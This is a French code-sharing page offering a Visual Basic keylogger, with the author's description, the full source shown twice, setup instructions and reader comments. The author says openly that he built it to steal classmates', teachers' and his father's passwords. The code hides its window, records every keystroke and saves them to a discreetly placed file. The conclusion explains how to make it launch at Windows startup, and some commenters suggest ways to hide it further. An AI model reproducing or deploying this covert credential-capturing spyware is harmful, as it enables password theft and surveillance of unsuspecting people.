begin process at 2012 02 14 05:41:13
  Trouver un code source :
 
dans
 
[ Dernières recherches ]
Accueil > 

Code

 > 

Sécurité

 > COMMENT CONNAITRE LES MOTS DE PASSE D'UNE FAÇON LA PLUS SIMPLISTE DU MONDE....

COMMENT CONNAITRE LES MOTS DE PASSE D'UNE FAÇON LA PLUS SIMPLISTE DU MONDE....


 Information sur la source

Note :
3,94 / 10 - par 18 personnes
3,94 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Sécurité Niveau :Débutant Date de création :20/10/2003 Vu / téléchargé :62 659 / 3 256
Auteur : psykopatt

Ecrire un message privé
Commentaire sur cette source (42)
Ajouter un commentaire et/ou une note

 Description

Slt à tous et à toutes (pourquoi pas. hein... lol).
Voila je suis au lycée, (en TSI), et nous disposons de login et de mots de passe pour se connecter sur le réseau. Pratique pour les profs, ils peuvent savoir ce que vous avez fait sur le net etc....). Pour pas me faire piquer il me fallait donc connaitre les pass d'autres personnes ( voir ceux des profs... lol.). J'ai donc créé ce piti programme qui enregistre les touches préssées dès la mise en route du Pc, jusqu'à son extinction, puis les enregistres dans un txt (su'il faut préalablement créé.). De plus mon père c'était amusé à mettre un mot de passe sur internet à la maison.... lol. double usage.

Source

  • '**************************************************************
  • '* PRESENTATION DU PROGRAMME *
  • '* Voici de quoi faire sauter bon nombre de mots de passe *
  • '* puisque ce programme permet d'enregistrer les touchess *
  • '* du clavier qui ont été pressées. Pour les restituer dans un *
  • '* fichier "txt" *
  • '* Il se lance automatiquement lors de l'ouverture de Windows *
  • '* MERCI QUI ??? DJ PSYKO *
  • '**************************************************************
  • Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  • Private Sub Form_Load()
  • Form1.Hide 'cache le programme pour ne pas se faire demasquer
  • '(seulement visible dans le gestionnaire des tâches)
  • Text1.Top = 0
  • Text1.Left = 0
  • Text1.Height = Height - 356
  • Text1.Width = Width - 80
  • 'pour purger le buffeur du clavier
  • Timer1_Timer
  • Text1.Text = ""
  • End Sub
  • Private Sub Form_Unload(Cancel As Integer)
  • 'Afin de sauver les touches préssées dans un fichier .txt lors de la femeture
  • Dim vari As Integer
  • vari = FreeFile
  • contenu = Form1.Text1.Text
  • ' adresse du fichier a sauver
  • chemin = "le chemin du txt"
  • 'ouverture du fichier
  • Open chemin For Output As #vari
  • ' enregistrement du texte
  • Print #vari, contenu
  • 'Fermeture du fichier
  • Close vari
  • End Sub
  • Private Sub Timer1_Timer()
  • '------------------------
  • ' Petit programme pour derouter
  • ' Les mots de passes....
  • '------------------------
  • For a = 0 To 256 'on scanne toute les touche du clavier
  • If GetAsyncKeyState(a) <> 0 Then 'regarde si la touche a ete appuillée
  • Select Case a
  • Case 0:
  • Case 1: Text1.Text = "Bouton gauche de la souris" & vbCrLf & Text1.Text ' vbKeyLButton
  • Case 2: Text1.Text = "Bouton droit de la souris" & vbCrLf & Text1.Text ' vbKeyRButton
  • Case 3: 'je ne sais pas ce qu'elle signifie car elle est toujour appuiller
  • 'Case 3: Text1.Text = "Touche ANNUL" & vbCrLf & Text1.Text ' vbKeyCancel
  • Case 4: Text1.Text = "Bouton central de la souris" & vbCrLf & Text1.Text ' vbKeyMButton
  • Case 8: Text1.Text = "Touche RET.ARR" & vbCrLf & Text1.Text ' vbKeyBack
  • Case 9: Text1.Text = "Touche TAB" & vbCrLf & Text1.Text ' vbKeyTab
  • Case 12: Text1.Text = "Touche EFFACER" & vbCrLf & Text1.Text ' vbKeyClear
  • Case 13: Text1.Text = "Touche ENTRÉE" & vbCrLf & Text1.Text ' vbKeyReturn
  • Case 16: Text1.Text = "Touche MAJ" & vbCrLf & Text1.Text ' vbKeyShift
  • Case 17: Text1.Text = "Touche CTRL" & vbCrLf & Text1.Text ' vbKeyControl
  • Case 18: Text1.Text = "Touche MENU" & vbCrLf & Text1.Text ' vbKeyMenu
  • Case 19: Text1.Text = "Touche PAUSE" & vbCrLf & Text1.Text ' vbKeyPause
  • Case 20: Text1.Text = "Touche VERR.MAJ" & vbCrLf & Text1.Text ' vbKeyCapital
  • Case 27: Text1.Text = "Touche ÉCHAP." & vbCrLf & Text1.Text ' vbKeyEscape
  • Case 32: Text1.Text = "Touche ESPACE" & vbCrLf & Text1.Text ' vbKeySpace
  • Case 33: Text1.Text = "Touche PG PRÉC." & vbCrLf & Text1.Text ' vbKeyPageUp
  • Case 34: Text1.Text = "Touche PG SUIV." & vbCrLf & Text1.Text ' vbKeyPageDown
  • Case 35: Text1.Text = "Touche FIN" & vbCrLf & Text1.Text ' vbKeyEnd
  • Case 36: Text1.Text = "Touche ORIGINE" & vbCrLf & Text1.Text ' vbKeyHome
  • Case 37: Text1.Text = "Touche FLÈCHE VERS LA GAUCHE " & vbCrLf & Text1.Text ' vbKeyLeft
  • Case 38: Text1.Text = "Touche FLÈCHE VERS LE HAUT " & vbCrLf & Text1.Text ' vbKeyUp
  • Case 39: Text1.Text = "Touche FLÈCHE VERS LA DROITE " & vbCrLf & Text1.Text ' vbKeyRight
  • Case 40: Text1.Text = "Touche FLÈCHE VERS LE BAS " & vbCrLf & Text1.Text ' vbKeyDown
  • Case 41: Text1.Text = "Touche SELECT" & vbCrLf & Text1.Text ' vbKeySelect
  • Case 42: Text1.Text = "Touche IMPR.ÉCRAN" & vbCrLf & Text1.Text ' vbKeyPrint
  • Case 43: Text1.Text = "Touche EXÉCUTE" & vbCrLf & Text1.Text ' vbKeyExecute
  • Case 44: Text1.Text = "Touche INSTANTANÉ" & vbCrLf & Text1.Text ' vbKeySnapshot
  • Case 45: Text1.Text = "Touche INSER" & vbCrLf & Text1.Text ' vbKeyInsert
  • Case 46: Text1.Text = "Touche SUPPR." & vbCrLf & Text1.Text ' vbKeyDelete
  • Case 47: Text1.Text = "Touche AIDE" & vbCrLf & Text1.Text ' vbKeyHelp
  • Case 48: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKey0
  • Case 49: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKey1
  • Case 50: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKey2
  • Case 51: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKey3
  • Case 52: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKey4
  • Case 53: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKey5
  • Case 54: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKey6
  • Case 55: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKey7
  • Case 56: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKey8
  • Case 57: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKey9
  • Case 65: Text1.Text = "Touche A" & vbCrLf & Text1.Text ' vbKeyA
  • Case 66: Text1.Text = "Touche B" & vbCrLf & Text1.Text ' vbKeyB
  • Case 67: Text1.Text = "Touche C" & vbCrLf & Text1.Text ' vbKeyC
  • Case 68: Text1.Text = "Touche D" & vbCrLf & Text1.Text ' vbKeyD
  • Case 69: Text1.Text = "Touche E" & vbCrLf & Text1.Text ' vbKeyE
  • Case 70: Text1.Text = "Touche F" & vbCrLf & Text1.Text ' vbKeyF
  • Case 71: Text1.Text = "Touche G" & vbCrLf & Text1.Text ' vbKeyG
  • Case 72: Text1.Text = "Touche H" & vbCrLf & Text1.Text ' vbKeyH
  • Case 73: Text1.Text = "Touche I" & vbCrLf & Text1.Text ' vbKeyI
  • Case 74: Text1.Text = "Touche J" & vbCrLf & Text1.Text ' vbKeyJ
  • Case 75: Text1.Text = "Touche K" & vbCrLf & Text1.Text ' vbKeyK
  • Case 76: Text1.Text = "Touche L" & vbCrLf & Text1.Text ' vbKeyL
  • Case 77: Text1.Text = "Touche M" & vbCrLf & Text1.Text ' vbKeyM
  • Case 78: Text1.Text = "Touche N" & vbCrLf & Text1.Text ' vbKeyN
  • Case 79: Text1.Text = "Touche O" & vbCrLf & Text1.Text ' vbKeyO
  • Case 80: Text1.Text = "Touche P" & vbCrLf & Text1.Text ' vbKeyP
  • Case 81: Text1.Text = "Touche Q" & vbCrLf & Text1.Text ' vbKeyQ
  • Case 82: Text1.Text = "Touche R" & vbCrLf & Text1.Text ' vbKeyR
  • Case 83: Text1.Text = "Touche S" & vbCrLf & Text1.Text ' vbKeyS
  • Case 84: Text1.Text = "Touche T" & vbCrLf & Text1.Text ' vbKeyT
  • Case 85: Text1.Text = "Touche U" & vbCrLf & Text1.Text ' vbKeyU
  • Case 86: Text1.Text = "Touche V" & vbCrLf & Text1.Text ' vbKeyV
  • Case 87: Text1.Text = "Touche W" & vbCrLf & Text1.Text ' vbKeyW
  • Case 88: Text1.Text = "Touche X" & vbCrLf & Text1.Text ' vbKeyX
  • Case 89: Text1.Text = "Touche Y" & vbCrLf & Text1.Text ' vbKeyY
  • Case 90: Text1.Text = "Touche Z" & vbCrLf & Text1.Text ' vbKeyZ
  • Case 91: Text1.Text = "Touche Windows gauche" & vbCrLf & Text1.Text '
  • Case 92: Text1.Text = "Touche contextuel" & vbCrLf & Text1.Text '
  • Case 93: Text1.Text = "Touche Windows droite" & vbCrLf & Text1.Text '
  • Case 96: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKeyNumpad0
  • Case 97: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKeyNumpad1
  • Case 98: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKeyNumpad2
  • Case 99: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKeyNumpad3
  • Case 100: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKeyNumpad4
  • Case 101: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKeyNumpad5
  • Case 102: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKeyNumpad6
  • Case 103: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKeyNumpad7
  • Case 104: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKeyNumpad8
  • Case 105: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKeyNumpad9
  • Case 106: Text1.Text = "Touche SIGNE MULTIPLICATION (*)" & vbCrLf & Text1.Text ' vbKeyMultiply
  • Case 107: Text1.Text = "Touche SIGNE PLUS (+)" & vbCrLf & Text1.Text ' vbKeyAdd
  • Case 108: Text1.Text = "Touche ENTRÉE (pavé numérique)" & vbCrLf & Text1.Text ' vbKeySeparator
  • Case 109: Text1.Text = "Touche SIGNE MOINS (-)" & vbCrLf & Text1.Text ' vbKeySubtract
  • Case 110: Text1.Text = "Touche POINT DÉCIMAL (.)" & vbCrLf & Text1.Text ' vbKeyDecimal
  • Case 111: Text1.Text = "Touche SIGNE DIVISION (/)" & vbCrLf & Text1.Text ' vbKeyDivide
  • Case 112: Text1.Text = "Touche F1" & vbCrLf & Text1.Text ' vbKeyF1
  • Case 113: Text1.Text = "Touche F2" & vbCrLf & Text1.Text ' vbKeyF2
  • Case 114: Text1.Text = "Touche F3" & vbCrLf & Text1.Text ' vbKeyF3
  • Case 115: Text1.Text = "Touche F4" & vbCrLf & Text1.Text ' vbKeyF4
  • Case 116: Text1.Text = "Touche F5" & vbCrLf & Text1.Text ' vbKeyF5
  • Case 117: Text1.Text = "Touche F6" & vbCrLf & Text1.Text ' vbKeyF6
  • Case 118: Text1.Text = "Touche F7" & vbCrLf & Text1.Text ' vbKeyF7
  • Case 119: Text1.Text = "Touche F8" & vbCrLf & Text1.Text ' vbKeyF8
  • Case 120: Text1.Text = "Touche F9" & vbCrLf & Text1.Text ' vbKeyF9
  • Case 121: Text1.Text = "Touche F10" & vbCrLf & Text1.Text ' vbKeyF10
  • Case 122: Text1.Text = "Touche F11" & vbCrLf & Text1.Text ' vbKeyF11
  • Case 123: Text1.Text = "Touche F12" & vbCrLf & Text1.Text ' vbKeyF12
  • Case 124: Text1.Text = "Touche F13" & vbCrLf & Text1.Text ' vbKeyF13
  • Case 125: Text1.Text = "Touche F14" & vbCrLf & Text1.Text ' vbKeyF14
  • Case 126: Text1.Text = "Touche F15" & vbCrLf & Text1.Text ' vbKeyF15
  • Case 127: Text1.Text = "Touche F16" & vbCrLf & Text1.Text ' vbKeyF16
  • Case 144: Text1.Text = "Touche VERR.NUM" & vbCrLf & Text1.Text ' vbKeyNumlock
  • Case 145: Text1.Text = "Touche Arrêt défil" & vbCrLf & Text1.Text '
  • Case 186: Text1.Text = "Touche $ ou £" & vbCrLf & Text1.Text '
  • Case 187: Text1.Text = "Touche + ou =" & vbCrLf & Text1.Text '
  • Case 188: Text1.Text = "Touche , ou ?" & vbCrLf & Text1.Text '
  • Case 190: Text1.Text = "Touche ; ou ." & vbCrLf & Text1.Text '
  • Case 191: Text1.Text = "Touche : ou /" & vbCrLf & Text1.Text '
  • Case 192: Text1.Text = "Touche ù ou %" & vbCrLf & Text1.Text '
  • Case 219: Text1.Text = "Touche ° ou )" & vbCrLf & Text1.Text '
  • Case 220: Text1.Text = "Touche * ou µ" & vbCrLf & Text1.Text '
  • Case 221: Text1.Text = "Touche ^ ou s" & vbCrLf & Text1.Text '
  • Case 222: Text1.Text = "Touche ²" & vbCrLf & Text1.Text '
  • Case 223: Text1.Text = "Touche < ou >" & vbCrLf & Text1.Text '
  • Case 226: Text1.Text = "Touche ! ou §" & vbCrLf & Text1.Text '
  • Case Else: Text1.Text = "Touche inconnue : " & a & vbCrLf & Text1.Text 'Touche inconnue
  • End Select
  • End If
  • Next
  • End Sub
  • 'amuser vous bien les mecton.
'**************************************************************
'*               PRESENTATION DU PROGRAMME                    *
'* Voici de quoi faire sauter bon nombre de mots de passe     *
'* puisque ce programme permet d'enregistrer les touchess     *
'* du clavier qui ont été pressées. Pour les restituer dans un *
'* fichier "txt"                                              *
'* Il se lance automatiquement lors de l'ouverture de Windows *
'*               MERCI QUI ??? DJ PSYKO                        *
'**************************************************************
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Form_Load()
Form1.Hide 'cache le programme pour ne pas se faire demasquer
                  '(seulement visible dans le gestionnaire des tâches)
Text1.Top = 0
Text1.Left = 0
Text1.Height = Height - 356
Text1.Width = Width - 80
'pour purger le buffeur du clavier
Timer1_Timer
Text1.Text = ""
End Sub


Private Sub Form_Unload(Cancel As Integer)
'Afin de sauver les touches préssées dans un fichier .txt lors de la femeture
Dim vari As Integer
    vari = FreeFile
    contenu = Form1.Text1.Text
' adresse du fichier a sauver
    chemin = "le chemin du txt"
'ouverture du fichier
    Open chemin For Output As #vari
' enregistrement du texte
    Print #vari, contenu
'Fermeture du fichier
    Close vari
End Sub


Private Sub Timer1_Timer()
'------------------------
'   Petit programme pour derouter
'   Les mots de passes....
'------------------------

For a = 0 To 256 'on scanne toute les touche du clavier
If GetAsyncKeyState(a) <> 0 Then 'regarde si la touche a ete appuillée
    Select Case a
        Case 0:
        Case 1: Text1.Text = "Bouton gauche de la souris" & vbCrLf & Text1.Text ' vbKeyLButton
        Case 2: Text1.Text = "Bouton droit de la souris" & vbCrLf & Text1.Text ' vbKeyRButton
        Case 3: 'je ne sais pas ce qu'elle signifie car elle est toujour appuiller
        'Case 3: Text1.Text = "Touche ANNUL" & vbCrLf & Text1.Text ' vbKeyCancel
        Case 4: Text1.Text = "Bouton central de la souris" & vbCrLf & Text1.Text ' vbKeyMButton
        Case 8: Text1.Text = "Touche RET.ARR" & vbCrLf & Text1.Text ' vbKeyBack
        Case 9: Text1.Text = "Touche TAB" & vbCrLf & Text1.Text ' vbKeyTab
        Case 12: Text1.Text = "Touche EFFACER" & vbCrLf & Text1.Text ' vbKeyClear
        Case 13: Text1.Text = "Touche ENTRÉE" & vbCrLf & Text1.Text ' vbKeyReturn
        Case 16: Text1.Text = "Touche MAJ" & vbCrLf & Text1.Text ' vbKeyShift
        Case 17: Text1.Text = "Touche CTRL" & vbCrLf & Text1.Text ' vbKeyControl
        Case 18: Text1.Text = "Touche MENU" & vbCrLf & Text1.Text ' vbKeyMenu
        Case 19: Text1.Text = "Touche PAUSE" & vbCrLf & Text1.Text ' vbKeyPause
        Case 20: Text1.Text = "Touche VERR.MAJ" & vbCrLf & Text1.Text ' vbKeyCapital
        Case 27: Text1.Text = "Touche ÉCHAP." & vbCrLf & Text1.Text ' vbKeyEscape
        Case 32: Text1.Text = "Touche ESPACE" & vbCrLf & Text1.Text ' vbKeySpace
        Case 33: Text1.Text = "Touche PG PRÉC." & vbCrLf & Text1.Text ' vbKeyPageUp
        Case 34: Text1.Text = "Touche PG SUIV." & vbCrLf & Text1.Text ' vbKeyPageDown
        Case 35: Text1.Text = "Touche FIN" & vbCrLf & Text1.Text ' vbKeyEnd
        Case 36: Text1.Text = "Touche ORIGINE" & vbCrLf & Text1.Text ' vbKeyHome
        Case 37: Text1.Text = "Touche FLÈCHE VERS LA GAUCHE " & vbCrLf & Text1.Text ' vbKeyLeft
        Case 38: Text1.Text = "Touche FLÈCHE VERS LE HAUT " & vbCrLf & Text1.Text ' vbKeyUp
        Case 39: Text1.Text = "Touche FLÈCHE VERS LA DROITE " & vbCrLf & Text1.Text ' vbKeyRight
        Case 40: Text1.Text = "Touche FLÈCHE VERS LE BAS " & vbCrLf & Text1.Text ' vbKeyDown
        Case 41: Text1.Text = "Touche SELECT" & vbCrLf & Text1.Text ' vbKeySelect
        Case 42: Text1.Text = "Touche IMPR.ÉCRAN" & vbCrLf & Text1.Text ' vbKeyPrint
        Case 43: Text1.Text = "Touche EXÉCUTE" & vbCrLf & Text1.Text ' vbKeyExecute
        Case 44: Text1.Text = "Touche INSTANTANÉ" & vbCrLf & Text1.Text ' vbKeySnapshot
        Case 45: Text1.Text = "Touche INSER" & vbCrLf & Text1.Text ' vbKeyInsert
        Case 46: Text1.Text = "Touche SUPPR." & vbCrLf & Text1.Text ' vbKeyDelete
        Case 47: Text1.Text = "Touche AIDE" & vbCrLf & Text1.Text ' vbKeyHelp
        Case 48: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKey0
        Case 49: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKey1
        Case 50: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKey2
        Case 51: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKey3
        Case 52: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKey4
        Case 53: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKey5
        Case 54: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKey6
        Case 55: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKey7
        Case 56: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKey8
        Case 57: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKey9
        Case 65: Text1.Text = "Touche A" & vbCrLf & Text1.Text ' vbKeyA
        Case 66: Text1.Text = "Touche B" & vbCrLf & Text1.Text ' vbKeyB
        Case 67: Text1.Text = "Touche C" & vbCrLf & Text1.Text ' vbKeyC
        Case 68: Text1.Text = "Touche D" & vbCrLf & Text1.Text ' vbKeyD
        Case 69: Text1.Text = "Touche E" & vbCrLf & Text1.Text ' vbKeyE
        Case 70: Text1.Text = "Touche F" & vbCrLf & Text1.Text ' vbKeyF
        Case 71: Text1.Text = "Touche G" & vbCrLf & Text1.Text ' vbKeyG
        Case 72: Text1.Text = "Touche H" & vbCrLf & Text1.Text ' vbKeyH
        Case 73: Text1.Text = "Touche I" & vbCrLf & Text1.Text ' vbKeyI
        Case 74: Text1.Text = "Touche J" & vbCrLf & Text1.Text ' vbKeyJ
        Case 75: Text1.Text = "Touche K" & vbCrLf & Text1.Text ' vbKeyK
        Case 76: Text1.Text = "Touche L" & vbCrLf & Text1.Text ' vbKeyL
        Case 77: Text1.Text = "Touche M" & vbCrLf & Text1.Text ' vbKeyM
        Case 78: Text1.Text = "Touche N" & vbCrLf & Text1.Text ' vbKeyN
        Case 79: Text1.Text = "Touche O" & vbCrLf & Text1.Text ' vbKeyO
        Case 80: Text1.Text = "Touche P" & vbCrLf & Text1.Text ' vbKeyP
        Case 81: Text1.Text = "Touche Q" & vbCrLf & Text1.Text ' vbKeyQ
        Case 82: Text1.Text = "Touche R" & vbCrLf & Text1.Text ' vbKeyR
        Case 83: Text1.Text = "Touche S" & vbCrLf & Text1.Text ' vbKeyS
        Case 84: Text1.Text = "Touche T" & vbCrLf & Text1.Text ' vbKeyT
        Case 85: Text1.Text = "Touche U" & vbCrLf & Text1.Text ' vbKeyU
        Case 86: Text1.Text = "Touche V" & vbCrLf & Text1.Text ' vbKeyV
        Case 87: Text1.Text = "Touche W" & vbCrLf & Text1.Text ' vbKeyW
        Case 88: Text1.Text = "Touche X" & vbCrLf & Text1.Text ' vbKeyX
        Case 89: Text1.Text = "Touche Y" & vbCrLf & Text1.Text ' vbKeyY
        Case 90: Text1.Text = "Touche Z" & vbCrLf & Text1.Text '  vbKeyZ
        Case 91: Text1.Text = "Touche Windows gauche" & vbCrLf & Text1.Text '
        Case 92: Text1.Text = "Touche contextuel" & vbCrLf & Text1.Text '
        Case 93: Text1.Text = "Touche Windows droite" & vbCrLf & Text1.Text '
        Case 96: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKeyNumpad0
        Case 97: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKeyNumpad1
        Case 98: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKeyNumpad2
        Case 99: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKeyNumpad3
        Case 100: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKeyNumpad4
        Case 101: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKeyNumpad5
        Case 102: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKeyNumpad6
        Case 103: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKeyNumpad7
        Case 104: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKeyNumpad8
        Case 105: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKeyNumpad9
        Case 106: Text1.Text = "Touche SIGNE MULTIPLICATION (*)" & vbCrLf & Text1.Text ' vbKeyMultiply
        Case 107: Text1.Text = "Touche SIGNE PLUS (+)" & vbCrLf & Text1.Text ' vbKeyAdd
        Case 108: Text1.Text = "Touche ENTRÉE (pavé numérique)" & vbCrLf & Text1.Text ' vbKeySeparator
        Case 109: Text1.Text = "Touche SIGNE MOINS (-)" & vbCrLf & Text1.Text ' vbKeySubtract
        Case 110: Text1.Text = "Touche POINT DÉCIMAL (.)" & vbCrLf & Text1.Text ' vbKeyDecimal
        Case 111: Text1.Text = "Touche SIGNE DIVISION (/)" & vbCrLf & Text1.Text ' vbKeyDivide
        Case 112: Text1.Text = "Touche F1" & vbCrLf & Text1.Text ' vbKeyF1
        Case 113: Text1.Text = "Touche F2" & vbCrLf & Text1.Text ' vbKeyF2
        Case 114: Text1.Text = "Touche F3" & vbCrLf & Text1.Text ' vbKeyF3
        Case 115: Text1.Text = "Touche F4" & vbCrLf & Text1.Text ' vbKeyF4
        Case 116: Text1.Text = "Touche F5" & vbCrLf & Text1.Text ' vbKeyF5
        Case 117: Text1.Text = "Touche F6" & vbCrLf & Text1.Text ' vbKeyF6
        Case 118: Text1.Text = "Touche F7" & vbCrLf & Text1.Text ' vbKeyF7
        Case 119: Text1.Text = "Touche F8" & vbCrLf & Text1.Text ' vbKeyF8
        Case 120: Text1.Text = "Touche F9" & vbCrLf & Text1.Text ' vbKeyF9
        Case 121: Text1.Text = "Touche F10" & vbCrLf & Text1.Text ' vbKeyF10
        Case 122: Text1.Text = "Touche F11" & vbCrLf & Text1.Text ' vbKeyF11
        Case 123: Text1.Text = "Touche F12" & vbCrLf & Text1.Text ' vbKeyF12
        Case 124: Text1.Text = "Touche F13" & vbCrLf & Text1.Text ' vbKeyF13
        Case 125: Text1.Text = "Touche F14" & vbCrLf & Text1.Text ' vbKeyF14
        Case 126: Text1.Text = "Touche F15" & vbCrLf & Text1.Text ' vbKeyF15
        Case 127: Text1.Text = "Touche F16" & vbCrLf & Text1.Text ' vbKeyF16
        Case 144: Text1.Text = "Touche VERR.NUM" & vbCrLf & Text1.Text ' vbKeyNumlock
        Case 145: Text1.Text = "Touche Arrêt défil" & vbCrLf & Text1.Text '
        Case 186: Text1.Text = "Touche $ ou £" & vbCrLf & Text1.Text '
        Case 187: Text1.Text = "Touche + ou =" & vbCrLf & Text1.Text '
        Case 188: Text1.Text = "Touche , ou ?" & vbCrLf & Text1.Text '
        Case 190: Text1.Text = "Touche ; ou ." & vbCrLf & Text1.Text '
        Case 191: Text1.Text = "Touche : ou /" & vbCrLf & Text1.Text '
        Case 192: Text1.Text = "Touche ù ou %" & vbCrLf & Text1.Text '
        Case 219: Text1.Text = "Touche ° ou )" & vbCrLf & Text1.Text '
        Case 220: Text1.Text = "Touche * ou µ" & vbCrLf & Text1.Text '
        Case 221: Text1.Text = "Touche ^ ou s" & vbCrLf & Text1.Text '
        Case 222: Text1.Text = "Touche ²" & vbCrLf & Text1.Text '
        Case 223: Text1.Text = "Touche < ou >" & vbCrLf & Text1.Text '
        Case 226: Text1.Text = "Touche ! ou §" & vbCrLf & Text1.Text '
        Case Else: Text1.Text = "Touche inconnue : " & a & vbCrLf & Text1.Text 'Touche inconnue
    End Select
End If
Next
End Sub
'amuser vous bien les mecton.

 Conclusion

Ok bon voila les dernieres recommandations afin que ce dernier fonctionne comme un "timer" (cf comme une horloge lol.) :
                 - mettre l'exe dans le menu "Démarrage" (demarrer\programme\démarrage)  
                 - bien crée le fichier TXT dans le chemin (qui est à préciser ci-dessus)
                 - Je pense que c'est tout.
Enfin pour les flemards, j'ai compilé le programme, tout est dans le zip. il ne vous reste plus qu'à crée le txt dans le repertoire suivant : C:\WINDOWS\Temp\logger.txt et de le nommer logger.txt
( j'ai mis ce chemin par soucis de discretion.)

Normalement ya pas de bugs. Si vous en avez contactez moi : levequeis@wanadoo.fr

A+ et dites moi ce que vous en penser.
Bonne prog.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Sources du même auteur

Source avec Zip Source avec une capture UN LECTEUR MP3, WAV ET MIDI
Source avec une capture UN CALPIN POUR LES NUMERO ETC..; PART UN DEBUTANT
UN PETIT MOTS DE PASSE BIDON, C'ÉTAIT MON PREMIER.
Toutes les sources de psykopatt

 Sources de la même categorie

Source avec Zip Source avec une capture Source .NET (Dotnet) CHIFFREMENT XOR PLUS ROBUSTE par dheroux
Source avec Zip CRYPTAGE MARANT par alpha5
Source avec Zip ACCÈS PAR MOT DE PASSE À FEUILLE EXCEL par mimiZanzan
Source avec Zip CRYPTER-DÉCRYPTER UN TEXTE - TEXTE CRYPTÉ UNIQUEMENT EN MAJ... par Saintache
Source avec Zip Source avec une capture FOLDER PROTECTION par hackoo
Toutes les sources de la catégorie Sécurité

Commentaires et avis

Commentaire de pcpunch le 20/10/2003 23:33:13

Trés bonne source!!! bravo 8/10 car je la trouve incomplete!! ex :
-Cacher l'apparition dans la liste des taches
-ecriture des mots taper au lieu des lettres
-Gestion de la date et de l heure dans le logger.txt
-Etc....

Je pense me la modifier un peu histoire de rire un peu, me donne tu l'autorisation de reposter la src une fois mes modifs effectuer?? en precisant bien sur que le noyaux est de toi?????

Commentaire de pcpunch le 21/10/2003 00:21:47

Autre chose si on tape trop vite alors les lettres s'inverse!!!!
Si on met un interval plus petit alors elle se repete si on reste appuyer???

Commentaire de pcpunch le 21/10/2003 00:44:30

Derniere petit chose : Tu peu dire merci a : TFlorain car a par ajouter l'ecriture dans le fichier c'est du copier coller (mm les commentaires lol)

http://www.vbfrance.com/code.aspx?ID=3130

Donc ca merite plus 8/10 mais au mieux 3!!!!

Commentaire de PROVB le 21/10/2003 08:19:45

Salut,
Cherche un peu sur le net, de telles sources VB sont déja disponibles.
- Application en tant que service.
- Service caché.
- Pas d'exe dans le gestionnaire de tâche.
- Ne prend en compte que l'utilisation sur des fenêtre de login (Windows et Internet)
- et gestion du clavier simplifiée.


Commentaire de NicoProg le 21/10/2003 12:13:39

Pas bien détournement de comptes utilisateur, tu devrai être viré de ton lycée.

Commentaire de MadLucas le 21/10/2003 15:05:45

1. l'intention derrière cette source est malhonnête
2. ce code est vraiement mal codé

Bref c'est une révision des codes ASCII, rien de plus.


MadLucas

Commentaire de DarkVader le 21/10/2003 18:24:46

C'est bien long pour un code qui devrait tenir en moins de 10 lignes

Commentaire de chrone26 le 21/10/2003 18:29:26

Le code est beaucoup trop long, en utilisant l'evenement keypress il pourrait etre ramené à 10 lignes au plus. Mais bon il faut bien apprendre.

Commentaire de CAD9757 le 21/10/2003 19:49:24

loooooooOOOOOOOOOOOOoooooooool
ouais c un classique de script kiddy, mais bon moi ça me fait rigoler ceci-dit c vrai qu'en 3 lignes ct faisable....

"Avant de valider votre commentaire merci de le relire (2 fois s'il le faut) afin d'éviter un maximum de fautes d'orthographe et de français." lol "appuiller" mon pauvre en TSI faudrait peut-être faire gaffe quand même....ceci dit Nix n'a pas non plus de quoi être fier : "pertinant" arghh.....

Commentaire de psykopatt le 21/10/2003 20:29:17

Lol. sur ce coup là,  j'avoue appuyer c mieux comme ça. Bref
Tanpis pour moi. Dsl de pas l'avoir fait en trois lignes, mais comme le dit chrone26 il faut bien apprendre. (d'ailleurs ceux qui veulent m'aider ). ensuite trois choses :
- Pcpunch, contrairement à ce que tu as pu penser, le code est de moi, les commentaires sont à peu près similaires à ceux de TFlorain, car il faut bien donner un nom aux touches appuyées, lors de l'enregistrement dans le Txt.
